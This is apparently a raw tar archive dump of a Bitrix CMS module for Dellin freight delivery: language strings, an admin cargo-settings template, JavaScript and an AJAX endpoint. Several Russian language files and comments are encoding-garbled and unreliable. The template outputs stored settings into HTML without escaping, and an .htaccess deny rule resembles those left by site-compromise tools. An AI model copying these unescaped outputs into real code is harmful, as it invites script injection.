$MESS["DELLINDEV_NO_USE_PARAMS"] = "Нет"; $MESS["DELLINDEV_LENGHT_MM"] = "Длина:(мм)"; $MESS["DELLINDEV_WIDTH_MM"] = "Ширина:(мм)"; $MESS["DELLINDEV_HEIGHT_MM"] = "Высота:(мм)"; $MESS["DELLINDEV_MASS_G"] = "Масса:(г)"; $MESS['DELLINDEV_FREIGHT_TYPES_HEADER'] = 'Характер груза'; $MESS['DELLINDEV_INPUT_FREIGHT_TYPES'] = 'Выберите из списка характер, который наиболее точно описывает реализуемый товар. Например: мебель, одежда или электроника.'; $MESS['DELLINDEV_FREIGHT_TYPES_UID'] = 'Код характера груза'; ?>components/dellindev/dellindev.shipment.cargosettings/templates/.default/lang/en/template.php000064400000011301151760651320026717 0ustar00<? $MESS["DELLINDEV_PARAM_DELIVERY_DELAY"] = "Параметры отложенной доставки "; $MESS["DELLINDEV_DELAY_DAY"] = "Отложить доставку на"; $MESS["DELLINDEV_DAYS"] = "(дней)"; $MESS["DELLINDEV_SELECT_SCHEME_DELIVERY"] = "Выберите способ доставки "; $MESS["DELLINDEV_SCHEME_DELIVERY"] = "Способ доставки"; $MESS["DELLINDEV_TO_TERMINAL"] = "До терминала"; $MESS["DELLINDEV_TO_ADDRESS"] = "До адреса"; $MESS["DELLINDEV_PARAM_SMALL_CARGO"] = "Доставка малогабаритного груза"; $MESS["DELLINDEV_USE_CALC_HOW_SMALL_CARGO"] = "Использовать специальный тариф 'Малогабаритный груз'"; $MESS["DELLINDEV_CONDITION_USE_SMALL_CARGO"] = "Примечание: в случае, если параметры перевозки не соответствует условям тарифа 'Малогабаритный груз', стоимость перевозки будет расчитана по стандартному тарифу.<br/><a href='https://www.dellin.ru/ltl/parcels/' target='_blank'>Условия тарифа</a>"; $MESS["DELLINDEV_YES_CALC"] = "Да"; $MESS["DELLINDEV_NO_USE_SMALL_CARGO"] = "Нет"; $MESS["DELLINDEV_PARAM_INSURANCE"] = "Страхование груза"; $MESS["DELLINDEV_INSURANCE_DECLARE_PRICE"] = " Передавать объявленную стоимость "; $MESS["DELLINDEV_INSURANCE_DECLARE_PRICE_NOTE"] = "Примечание: объявленная стоимость груза определяется автоматически, на основании переданных данных товарного каталога<br/><a href='https://www.dellin.ru/ltl/insurance/' target='_blank'>Условия страхования груза и срока доставки</a>"; $MESS["DELLINDEV_YES_CALC_INSURANCE"] = "Да"; $MESS["DELLINDEV_NO_CALC_INSURANCE"] = "Нет"; $MESS["DELLINDEV_PARAM_GROUP_CARGO_PLACE"] = "Группировка груза"; $MESS["DELLINDEV_GROUP_PRODUCTS_IN_CARGO_PLACE"] = "Способ группировки"; $MESS["DELLINDEV_CALC_ALL_PRODUCT_AS_ONE_PLACE"] = "Считать весь заказ как 1 грузоместо"; $MESS["DELLINDEV_SEPARATED_CARGO_SPACE"] = "Группировать каждый вид товара, как отдельное грузоместо"; $MESS["DELLINDEV_SINGLE_ITEM_SINGLE_SPACE"] = "Каждая единица товара - отдельное грузоместо "; $MESS["DELLINDEV_REQUIREMENTS_FOR_TRANSPORT_LOADING"] = "Требования к транспорту при погрузке"; $MESS["DELLINDEV_TYPE_UNLOADING"] = "Тип выгрузки"; $MESS["DELLINDEV_NOT_REQUIREMENT"] = "Не требуется"; $MESS["DELLINDEV_BACK_UNLOADING"] = "Задняя выгрузки "; $MESS["DELLINDEV_UPPER_UNLOADING"] = " Верхняя выгрузки "; $MESS["DELLINDEV_SPEC_REQUIREMENT_FOR_TRANSPORT"] = "Специальные требования к транспорту"; $MESS["DELLINDEV_NOT_REQUIREMENT"] = "Не требуются"; $MESS["DELLINDEV_OPEN_CAR"] = "Открытая машина"; $MESS["DELLINDEV_REQUIREMENT_UN_CANOPY"] = "Требуется растентовка"; $MESS["DELLINDEV_ADITIONAL_EQUPMENT"] = "Дополнительная комплектация:"; $MESS["DELLINDEV_TAIL_LIFT"] = "Гидроборт"; $MESS["DELLINDEV_MANIPULATOR"] = "Манипулятор"; $MESS["DELLINDEV_DEFAULT_PRODUCT_PARAMS"] = "Параметры товара по умолчанию"; $MESS["DELLINDEV_USE_DEFAULT_PARAMS_PRODUCTS"] = "Использовать параметры товара по умолчанию?"; $MESS["DELLINDEV_USE_DEFAULT_PARAMS_PRODUCTS_INFO"] = " Примечание: Если в свойствах товара не указаны параметры длины, ширины, высоты и массы, то будут применены ниже указанные параметры при запросе к API"; $MESS["DELLINDEV_YES_USE_PARAMS"] = "Да"; $MESS["DELLINDEV_NO_USE_PARAMS"] = "Нет"; $MESS["DELLINDEV_LENGHT_MM"] = "Длина:(мм)"; $MESS["DELLINDEV_WIDTH_MM"] = "Ширина:(мм)"; $MESS["DELLINDEV_HEIGHT_MM"] = "Высота:(мм)"; $MESS["DELLINDEV_MASS_G"] = "Масса:(г)"; $MESS['DELLINDEV_FREIGHT_TYPES_HEADER'] = 'Характер груза'; $MESS['DELLINDEV_INPUT_FREIGHT_TYPES'] = 'Выберите из списка характер, который наиболее точно описывает реализуемый товар. Например: мебель, одежда или электроника.'; $MESS['DELLINDEV_FREIGHT_TYPES_UID'] = 'Код характера груза'; ?>components/dellindev/dellindev.shipment.cargosettings/templates/.default/script.min.js000064400000007565151760651320025515 0ustar00BX.namespace("BX.Sale.Location.Map"),BX.Sale.Location.Map={ajaxUrl:"",interruptFlag:!1,requestFlag:!1,serviceLocationClass:"",sendRequest:function(a,s){if(a){var e=a,o=this;e.sessid=BX.bitrix_sessid(),this.requestFlag=!0,BX.ajax({timeout:300,method:"POST",dataType:"json",url:this.ajaxUrl,data:e,onsuccess:function(a){o.requestFlag=!1,o.interruptFlag?o.closeProgressDialog():(a?s&&"function"==typeof s&&s.call(null,a):o.pb.showError(BX.message("SALE_DLVRS_ADD_LOC_COMP_AJAX_ERROR")),a&&a.ERROR&&o.pb.showError(a.ERROR))},onfailure:function(a){o.requestFlag=!1,o.pb.showError("ajax onfailure"),o.pb.showError("status: "+a),o.interruptFlag&&o.closeProgressDialog()}})}},startLocationsCompare:function(a){this.showProgressDialog(),this.sendRequest({action:"locations_map",class:BX.Sale.Location.Map.serviceLocationClass,needToDeleteExist:a||!1},BX.Sale.Location.Map.processLocationsCompareAnswer)},processLocationsCompareAnswer:function(a){a&&a.stage&&a.action?(a.message&&BX.Sale.Location.Map.pb.showMessage(a.message),a.progress&&BX.Sale.Location.Map.pb.Update(a.progress),a.error?BX.Sale.Location.Map.pb.showError(a.error):a.stage&&"finish"==a.stage?BX("progress_cancel").value=BX.message("SALE_LOCATION_MAP_CLOSE"):BX.Sale.Location.Map.sendRequest({action:a.action,stage:a.stage,step:a.step?a.step:"",progress:a.progress?a.progress:0,class:BX.Sale.Location.Map.serviceLocationClass},BX.Sale.Location.Map.processLocationsCompareAnswer)):BX.Sale.Location.Map.pb.showError(BX.message("SALE_DLVRS_ADD_LOC_COMP_AJAX_ERROR"))},closeProgressDialog:function(){this.interruptFlag||(this.interruptFlag=!0),this.requestFlag||(BX.WindowManager.Get().Close(),this.interruptFlag&&(this.interruptFlag=!1))},showProgressDialog:function(){var a=new BX.CDialog({content:BX.Sale.Location.Map.pb.getNode(),width:530,height:200,draggable:!0,resizable:!0,title:BX.message("SALE_LOCATION_MAP_LOC_MAPPING"),buttons:[{title:BX.message("SALE_LOCATION_MAP_CANCEL"),id:"progress_cancel",name:"progress_cancel",action:function(){window.location.reload(),BX.Sale.Location.Map.closeProgressDialog()}}]});BX.Sale.Location.Map.pb.Init(),a.adjustSizeEx(),a.Show(),BX.Sale.Location.Map.pb.showError(""),BX.Sale.Location.Map.pb.showMessage(BX.message("SALE_LOCATION_MAP_PREPARING"))},pb:{width:0,obContainer:!1,obIndicator:!1,obIndicator2:!1,Init:function(){this.obContainer=BX("install-load-block"),this.obIndicator=BX("install-progress-bar-inner-text"),this.obIndicator2=BX("install-progress-bar-span"),this.obIndicator3=BX("install-progress-bar-inner"),this.obContainer.style.display="",this.width=this.obContainer.clientWidth||this.obContainer.offsetWidth},Update:function(a){this.obIndicator.innerHTML=this.obIndicator3.style.width=a+"%",this.obIndicator2.innerHTML=a+"%"},showError:function(a){var s=BX("install-load-error");s.innerHTML=a,s.style.display=a?"":"none",BX.WindowManager.Get().adjustSizeEx()},showMessage:function(a,s){var e=BX("install-load-label"),o=e.innerHTML;e.innerHTML=(s?o+"<br>":"")+a,e.style.display=a?"":"none",BX.WindowManager.Get().adjustSizeEx()},getNode:function(){var a=BX("install-load-block");return a||(a=BX.create("div",{props:{className:"install-load-block",id:"install-load-block"},children:[BX.create("div",{props:{className:"install-load-label",id:"install-load-label"}}),BX.create("div",{props:{className:"install-load-error",id:"install-load-error"}}),BX.create("div",{props:{className:"install-progress-bar-outer",id:"install-progress-bar-outer"},style:{width:"500px"},children:[BX.create("div",{props:{className:"install-progress-bar-alignment"},children:[BX.create("div",{props:{className:"install-progress-bar-inner",id:"install-progress-bar-inner"},style:{width:"0%"},children:[BX.create("div",{props:{className:"install-progress-bar-inner-text",id:"install-progress-bar-inner-text"},style:{width:"500px"},html:"0%"})]}),BX.create("div",{props:{className:"install-progress-bar-span",id:"install-progress-bar-span"},html:"0%"})]})]})]})),a}}};components/dellindev/dellindev.shipment.cargosettings/templates/.default/template.php000064400000035703151760651320025410 0ustar00<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); use Bitrix\Main\Localization\Loc; Loc::loadMessages(__FILE__); //��������� if(isset($_REQUEST['ID']) || !empty($_REQUEST['ID'])) { $configParams = \Bitrix\Sale\Delivery\Services\Manager::getById((int)$_REQUEST['ID'])['CONFIG']; } ?> <tr class="heading"> <td colspan="2"><?= Loc::getMessage("DELLINDEV_SELECT_SCHEME_DELIVERY") ?></td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_SCHEME_DELIVERY") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[ARRIVAL][GOODSLOADING]"> <option value="0" <? ($configParams['ARRIVAL']['GOODSLOADING'] == '0')?print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_TO_TERMINAL") ?></option> <option value="1" <? ($configParams['ARRIVAL']['GOODSLOADING'] == '1')?print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_TO_ADDRESS") ?></option> </select> </td> </tr> <tr class="heading"> <td colspan="2"><?= Loc::getMessage("DELLINDEV_PARAM_SMALL_CARGO") ?></td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_USE_CALC_HOW_SMALL_CARGO") ?><br/> <small><?= Loc::getMessage("DELLINDEV_CONDITION_USE_SMALL_CARGO") ?></small></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[ARRIVAL][IS_SMALL_GOODS]"> <option value="0" <? ($configParams["ARRIVAL"]["IS_SMALL_GOODS"] == '0')?print('selected'):''; ?>> <?= Loc::getMessage("DELLINDEV_YES_CALC") ?></option> <option value="1" <? ($configParams["ARRIVAL"]["IS_SMALL_GOODS"] == '1')?print('selected'):''; ?>> <?= Loc::getMessage("DELLINDEV_NO_USE_SMALL_CARGO") ?></option> </select> </td> </tr> <tr class="heading"> <td colspan="2"><?= Loc::getMessage("DELLINDEV_PARAM_INSURANCE") ?></td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_INSURANCE_DECLARE_PRICE") ?><br/> <small><?= Loc::getMessage("DELLINDEV_INSURANCE_DECLARE_PRICE_NOTE") ?></small> </td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[ARRIVAL][IS_INSURANCE_GOODS_WITH_DECLARE_PRICE]"> <option value="0" <? ($configParams['ARRIVAL']['IS_INSURANCE_GOODS_WITH_DECLARE_PRICE'] == '0')?print('selected'):''; ?>> <?= Loc::getMessage("DELLINDEV_YES_CALC_INSURANCE") ?></option> <option value="1" <? ($configParams['ARRIVAL']['IS_INSURANCE_GOODS_WITH_DECLARE_PRICE'] == '1')?print('selected'):''; ?>> <?= Loc::getMessage("DELLINDEV_NO_CALC_INSURANCE") ?></option> </select> </td> </tr> <tr class="heading"> <td colspan="2"><?= Loc::getMessage("DELLINDEV_PARAM_GROUP_CARGO_PLACE") ?></td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_GROUP_PRODUCTS_IN_CARGO_PLACE") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[CARGO][LOADING_GROUPING_OF_GOODS]"> <option value="ONE_CARGO_SPACE" <? ($configParams['CARGO']['LOADING_GROUPING_OF_GOODS'] == 'ONE_CARGO_SPACE')?print('selected'):''; ?>> <?= Loc::getMessage("DELLINDEV_CALC_ALL_PRODUCT_AS_ONE_PLACE") ?></option> <option value="SEPARATED_CARGO_SPACE" <? ($configParams['CARGO']['LOADING_GROUPING_OF_GOODS'] == 'SEPARATED_CARGO_SPACE')? print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_SEPARATED_CARGO_SPACE") ?></option> <option value="SINGLE_ITEM_SINGLE_SPACE" <? ($configParams['CARGO']['LOADING_GROUPING_OF_GOODS'] == 'SINGLE_ITEM_SINGLE_SPACE')? print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_SINGLE_ITEM_SINGLE_SPACE") ?></option> </select> </td> </tr> <tr style="display:none;" class="heading"> <td colspan="2"><?= Loc::getMessage("DELLINDEV_REQUIREMENTS_FOR_TRANSPORT_LOADING") ?><br/> </td> </tr> <tr style="display: none;"> <td width="40%"><?= Loc::getMessage("DELLINDEV_TYPE_UNLOADING") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[ARRIVAL][UNLOADING_TYPE]"> <option value="NULL" <? ($configParams['ARRIVAL']['UNLOADING_TYPE'] == 'NULL')?print('selected'):''; ?>> <?= Loc::getMessage("DELLINDEV_NOT_REQUIREMENT") ?></option> <option value="0xb83b7589658a3851440a853325d1bf69" <? ($configParams['ARRIVAL']['UNLOADING_TYPE'] == '0xb83b7589658a3851440a853325d1bf69')? print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_BACK_UNLOADING") ?></option> <option value="0xabb9c63c596b08f94c3664c930e77778" <? ($configParams['ARRIVAL']['UNLOADING_TYPE'] == '0xabb9c63c596b08f94c3664c930e77778')? print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_UPPER_UNLOADING") ?></option> </select> </td> </tr> <tr style="display: none;"> <td width="40%"><?= Loc::getMessage("DELLINDEV_SPEC_REQUIREMENT_FOR_TRANSPORT") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[ARRIVAL][UNLOADING_TRANSPORT_REQUIREMENTS]"> <option value="NULL" <? ($configParams['ARRIVAL']['UNLOADING_TRANSPORT_REQUIREMENTS'] == 'NULL')?print('selected'):''; ?>> <?= Loc::getMessage("DELLINDEV_NOT_REQUIREMENT") ?></option> <option value="0x9951e0ff97188f6b4b1b153dfde3cfec" <? ($configParams['ARRIVAL']['UNLOADING_TRANSPORT_REQUIREMENTS'] == '0x9951e0ff97188f6b4b1b153dfde3cfec')? print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_OPEN_CAR") ?></option> <option value="0x818e8ff1eda1abc349318a478659af08" <? ($configParams['ARRIVAL']['UNLOADING_TRANSPORT_REQUIREMENTS'] == '0x818e8ff1eda1abc349318a478659af08')? print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_REQUIREMENT_UN_CANOPY") ?></option> </select> </td> </tr> <tr style="display: none;"> <td width="40%"><?= Loc::getMessage("DELLINDEV_ADITIONAL_EQUPMENT") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[ARRIVAL][UNLOADING_ADDITIONAL_EQUIPMENT]"> <option value="NULL" <? ($configParams['ARRIVAL']['UNLOADING_ADDITIONAL_EQUIPMENT'] == 'NULL')?print('selected'):''; ?>> <?= Loc::getMessage("DELLINDEV_NOT_REQUIREMENT") ?></option> <option value="0x92fce2284f000b0241dad7c2e88b1655" <? ($configParams['ARRIVAL']['UNLOADING_ADDITIONAL_EQUIPMENT'] == '0x92fce2284f000b0241dad7c2e88b1655')? print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_TAIL_LIFT") ?></option> <option value="0x88f93a2c37f106d94ff9f7ada8efe886" <? ($configParams['ARRIVAL']['UNLOADING_ADDITIONAL_EQUIPMENT'] == '0x88f93a2c37f106d94ff9f7ada8efe886')? print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_MANIPULATOR") ?></option> </select> </td> </tr> <tr class="heading"> <td colspan="2"><?= Loc::getMessage("DELLINDEV_DEFAULT_PRODUCT_PARAMS") ?></td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_USE_DEFAULT_PARAMS_PRODUCTS") ?><br/> <small><?= Loc::getMessage("DELLINDEV_USE_DEFAULT_PARAMS_PRODUCTS_INFO") ?></small></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[CARGO][DEFAULT_PARAMS]"> <option value="0" <? ($configParams['CARGO']['DEFAULT_PARAMS'] == '0')?print('selected'):''; ?>> <?= Loc::getMessage("DELLINDEV_YES_USE_PARAMS") ?></option> <option value="1" <? ($configParams['CARGO']['DEFAULT_PARAMS'] == '1')?print('selected'):''; ?>> <?= Loc::getMessage("DELLINDEV_NO_USE_PARAMS") ?></option> </select> </td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_LENGHT_MM") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" name="CONFIG[PRODUCT][LENGTH]" value='<? echo $configParams['PRODUCT']['LENGTH'] ?>' > </td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_WIDTH_MM") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" name="CONFIG[PRODUCT][WIDTH]" value='<? echo $configParams['PRODUCT']['WIDTH'] ?>' > </td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_HEIGHT_MM") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" name="CONFIG[PRODUCT][HEIGHT]" value='<? echo $configParams['PRODUCT']['HEIGHT'] ?>' > </td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_MASS_G") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" name="CONFIG[PRODUCT][WEIGHT]" value='<? echo $configParams['PRODUCT']['WEIGHT'] ?>' > </td> </tr> <tr class="heading"> <td colspan="2"><?= Loc::getMessage("DELLINDEV_FREIGHT_TYPES_HEADER") ?><br/> </tr> <tr> <td width="20%"><?= Loc::getMessage("DELLINDEV_INPUT_FREIGHT_TYPES") ?></td> <td width="40%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" name="CONFIG[CARGO][FREIGHT_TYPE_NAME]" onkeyup="BX.Sale.Dellin.CargoSettings.selectFrieghtType()" onblur="BX.Sale.Dellin.CargoSettings.onblurAutocomplete()" id="FrieghtTypeUid" value='<? echo $configParams['CARGO']['FREIGHT_TYPE_NAME'] ?>' > </td> </tr> <tr> <td width="20%"><?= Loc::getMessage("DELLINDEV_FREIGHT_TYPES_UID") ?></td> <td width="40%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" name="CONFIG[CARGO][FREIGHT_TYPE_UID]" readonly value='<? echo $configParams['CARGO']['FREIGHT_TYPE_UID'] ?>' > </td> </tr> <script type="text/javascript"> BX.message({ "SALE_LOCATION_MAP_CLOSE": "<?=Loc::getMessage("SALE_LOCATION_MAP_CLOSE")?>", "SALE_LOCATION_MAP_LOC_MAPPING": "<?=Loc::getMessage("SALE_LOCATION_MAP_LOC_MAPPING")?>", "SALE_LOCATION_MAP_CANCEL": "<?=Loc::getMessage("SALE_LOCATION_MAP_CANCEL")?>", "SALE_LOCATION_MAP_PREPARING": "<?=Loc::getMessage("SALE_LOCATION_MAP_PREPARING")?>", "SALE_LOCATION_MAP_LOC_MAPPED": "<?=Loc::getMessage("SALE_LOCATION_MAP_LOC_MAPPED")?>" }); BX.ready(function() { BX.namespace('BX.Sale.Dellin.CargoSettings'); BX.Sale.Dellin.CargoSettings = { ajaxUrl: "", interruptFlag: false, requestFlag: false, serviceLocationClass: "", isError: false, viewMsg: '',// пїЅпїЅпїЅпїЅ пїЅпїЅпїЅ-пїЅпїЅ пїЅпїЅ пїЅпїЅпїЅпїЅпїЅпїЅ пїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅ, пїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅ пїЅпїЅпїЅпїЅпїЅ пїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅ errorMsg: null, inputDisabled: false, cityKladr: null, isOpen: false, getAppkey: function(){ return document.querySelector('[name="CONFIG[MAIN][APIKEY]"]') }, selectFrieghtType: function () { let input = document.querySelector('#FrieghtTypeUid'); if(input.value.length > 3){ let postData = { sessid: BX.bitrix_sessid(), action: 'get_frieght_type', query: input.value, appkey: BX.Sale.Dellin.CargoSettings.getAppkey().value, class: BX.Sale.Dellin.CargoSettings.serviceAjaxClass }; BX.ajax({ timeout: 300, method: 'POST', dataType: 'json', url: BX.Sale.Dellin.CargoSettings.ajaxUrl, data: postData, onsuccess: function(result) { let fields = BX.Sale.Dellin.CargoSettings.getAutoComplete(result); input.after(fields); }, onfailure: function(status) { console.log("onfailture", status); } }); } }, getAutoComplete: function(result){ //TODO ������� ��� �������. BX.Sale.Dellin.CargoSettings.clearAutoComplete(); let divAutocomplete = document.createElement('div'); divAutocomplete.className = 'autocomplete'; let divRows = document.createElement('div'); divRows.className = 'rows'; result.LIST.forEach(function (el) { let row = BX.Sale.Dellin.CargoSettings.buildRowAutocompolite(el); divRows.appendChild(row); }); console.log(divRows); divAutocomplete.appendChild(divRows); console.log(divAutocomplete); return divAutocomplete; }, buildRowAutocompolite: function (el) { let divRow = document.createElement('div'); divRow.className = 'autocomplete-row'; divRow.dataset.id = el.sqlUID; divRow.innerHTML = el.value+' ['+el.comment+'] '; divRow.addEventListener('click', function () { let fieldFrieghtTypeName = document.querySelector('[name="CONFIG[CARGO][FREIGHT_TYPE_NAME]"]'); fieldFrieghtTypeName.value = el.value; let fieldFrieghtTypeUid = document.querySelector('[name="CONFIG[CARGO][FREIGHT_TYPE_UID]"]'); fieldFrieghtTypeUid.value = this.dataset.id; BX.Sale.Dellin.CargoSettings.clearAutoComplete(); }); return divRow; }, clearAutoComplete: function(){ let autoComplete = document.querySelector('.autocomplete'); if(autoComplete !== null){ autoComplete.remove(); } }, onblurAutocomplete: function(){ setTimeout(this.clearAutoComplete, 300); }, }; BX.Sale.Dellin.CargoSettings.ajaxUrl = "<?=$componentPath.'/ajax.php'?>"; BX.Sale.Dellin.CargoSettings.serviceAjaxClass = "<?=CUtil::JSEscape($arParams['AJAX_SERVICE_CLASS'])?>";; }); </script> components/dellindev/.htaccess000044400000000177151760651320012506 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>components/dellindev/crm.dellin.request/lazyload.ajax.php000064400000004207151760651320017700 0ustar00<?php define('NO_KEEP_STATISTIC', 'Y'); define('NO_AGENT_STATISTIC','Y'); define('NO_AGENT_CHECK', true); define('PUBLIC_AJAX_MODE', true); define('DisableEventsCheck', true); $siteID = isset($_REQUEST['site'])? mb_substr(preg_replace('/[^a-z0-9_]/i', '', $_REQUEST['site']), 0, 2) : ''; if($siteID !== '') { define('SITE_ID', $siteID); } require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/prolog_before.php'); if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) { die(); } if (!CModule::IncludeModule('crm') || !CCrmSecurityHelper::IsAuthorized() || !check_bitrix_sessid()) { die(); } if (!CModule::IncludeModule('sale')) { die(); } global $APPLICATION; Header('Content-Type: text/html; charset='.LANG_CHARSET); $APPLICATION->ShowAjaxHead(); $componentData = isset($_REQUEST['PARAMS']) && is_array($_REQUEST['PARAMS']) ? $_REQUEST['PARAMS'] : array(); $componentParams = isset($componentData['params']) && is_array($componentData['params']) ? $componentData['params'] : array(); //Security check $userPermissions = CCrmPerms::GetCurrentUserPermissions(); // //For custom reload with params $ajaxLoaderParams = array( 'data' => array('PARAMS' => $componentData) ); //Force AJAX mode $componentParams['LOADER_INFO'] = $ajaxLoaderParams; //For custom reload with params $ajaxLoaderParams = array( // 'url' => '/local/components/dellindev/crm.dellin.order/lazyload.ajax.php?&site='.SITE_ID.'&'.bitrix_sessid_get(), 'method' => 'POST', 'dataType' => 'ajax', 'data' => array('PARAMS' => $componentData) ); //Force AJAX mode $componentParams['AJAX_MODE'] = 'Y'; $componentParams['AJAX_OPTION_JUMP'] = 'N'; $componentParams['AJAX_OPTION_HISTORY'] = 'N'; $componentParams['AJAX_LOADER'] = $ajaxLoaderParams; //Enable sanitaizing $componentParams['IS_EXTERNAL_CONTEXT'] = 'Y'; $APPLICATION->IncludeComponent('dellindev:crm.dellin.request', isset($componentData['template']) ? $componentData['template'] : '', $componentParams, false, array('HIDE_ICONS' => 'Y', 'ACTIVE_COMPONENT' => 'Y') ); require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/epilog_after.php'); die();components/dellindev/crm.dellin.request/lang/ru/list.ajax.php000064400000000130151760651320020372 0ustar00<? $MESS["CRM_ORDER_SHIPMENT_LIST_ROW_COUNT"] = "Всего: #ROW_COUNT#"; ?>components/dellindev/crm.dellin.request/lang/ru/.parameters.php000064400000000245151760651320020725 0ustar00<? $MESS["CRM_ORDER_SHIPMENT_COUNT"] = "Количество отгрузок РЅР° странице"; ?>components/dellindev/crm.dellin.request/lang/ru/class.php000064400000010016151760651320017606 0ustar00<? $MESS["CRM_MODULE_NOT_INSTALLED"] = "Модуль CRM РЅРµ установлен."; $MESS["CRM_MODULE_NOT_INSTALLED_CURRENCY"] = "Модуль currency РЅРµ установлен."; $MESS["CRM_MODULE_NOT_INSTALLED_SALE"] = "Модуль sale РЅРµ установлен."; $MESS["CRM_MODULE_NOT_INSTALLED_CATALOG"] = "Модуль catalog РЅРµ установлен."; $MESS["CRM_PERMISSION_DENIED"] = "Доступ запрещен"; $MESS["CRM_COLUMN_COMMENTS"] = "Комментарий"; $MESS["CRM_COLUMN_STATUS_ID"] = "Статус"; $MESS["CRM_COLUMN_SHIPMENT_SUMMARY"] = "Документ отгрузки"; $MESS["CRM_COLUMN_DELIVERY_SERVICE"] = "РЎРїРѕСЃРѕР±"; $MESS["CRM_COLUMN_PRICE_DELIVERY_CURRENCY"] = "Стоимость"; $MESS["CRM_COLUMN_ALLOW_DELIVERY"] = "Разрешена"; $MESS["CRM_COLUMN_DEDUCTED"] = "Отгружено"; $MESS["CRM_COLUMN_ID"] = "Р�дентификатор"; $MESS["CRM_COLUMN_ORDER_ID"] = "Р�дентификатор заказа"; $MESS["CRM_COLUMN_DATE_INSERT"] = "Дата добавления"; $MESS["CRM_COLUMN_DISCOUNT_PRICE"] = "РЎРєРёРґРєР°"; $MESS["CRM_COLUMN_BASE_PRICE_DELIVERY"] = "Базовая стоимость"; $MESS["CRM_COLUMN_CUSTOM_PRICE_DELIVERY"] = "Пользовательская цена"; $MESS["CRM_COLUMN_DATE_ALLOW_DELIVERY"] = "Дата разрешения доставки"; $MESS["CRM_COLUMN_EMP_ALLOW_DELIVERY"] = "Кто изменил разрешено"; $MESS["CRM_COLUMN_DATE_DEDUCTED"] = "Дата отгружено"; $MESS["CRM_COLUMN_EMP_DEDUCTED"] = "Кто изменил отгружено"; $MESS["CRM_COLUMN_REASON_UNDO_DEDUCTED"] = "Причина отмены отгрузки"; $MESS["CRM_COLUMN_DELIVERY_DOC_NUM"] = "Номер документа отгрузки"; $MESS["CRM_COLUMN_DELIVERY_DOC_DATE"] = "Дата документа отгрузки"; $MESS["CRM_COLUMN_TRACKING_NUMBER"] = "Р�дентификатор отправления"; $MESS["CRM_COLUMN_MARKED"] = "Проблема"; $MESS["CRM_COLUMN_DATE_MARKED"] = "Дата проблемы"; $MESS["CRM_COLUMN_EMP_MARKED"] = "Кто отметил проблемным"; $MESS["CRM_COLUMN_REASON_MARKED"] = "Описание проблемы"; $MESS["CRM_COLUMN_CURRENCY"] = "Валюта"; $MESS["CRM_COLUMN_RESPONSIBLE"] = "Ответственный"; $MESS["CRM_COLUMN_DATE_RESPONSIBLE_ID"] = "Дата изменения ответственного"; $MESS["CRM_COLUMN_COMMENTS"] = "Комментарий менеджера"; $MESS["CRM_COLUMN_TRACKING_STATUS"] = "Статус отправки"; $MESS["CRM_COLUMN_TRACKING_DESCRIPTION"] = "Описание статуса отправки"; $MESS["CRM_SHIPMENT_SUMMARY"] = "Отгрузка в„– #NUMBER# РѕС‚ #DATE#"; $MESS['CRM_SHIPMENT_DELETE_ERROR'] = "Ошибка удаления отгрузки";components/dellindev/crm.dellin.request/lang/ru/.description.php000064400000000473151760651320021110 0ustar00<? $MESS["CRM_ORDER_SHIPMENT_LIST_NAME"] = "РЎРїРёСЃРѕРє отгрузок"; $MESS["CRM_ORDER_SHIPMENT_LIST_DESCRIPTION"] = "РЎРїРёСЃРѕРє отгрузок"; $MESS["CRM_NAME"] = "CRM"; $MESS["CRM_ORDER_SHIPMENT_NAME"] = "Отгрузки"; ?>components/dellindev/crm.dellin.request/lang/ru/help/.tooltips.php000064400000000011151760651320021356 0ustar00<?php ?>components/dellindev/crm.dellin.request/lang/en/list.ajax.php000064400000000110151760651320020344 0ustar00<? $MESS["CRM_ORDER_SHIPMENT_LIST_ROW_COUNT"] = "Total: 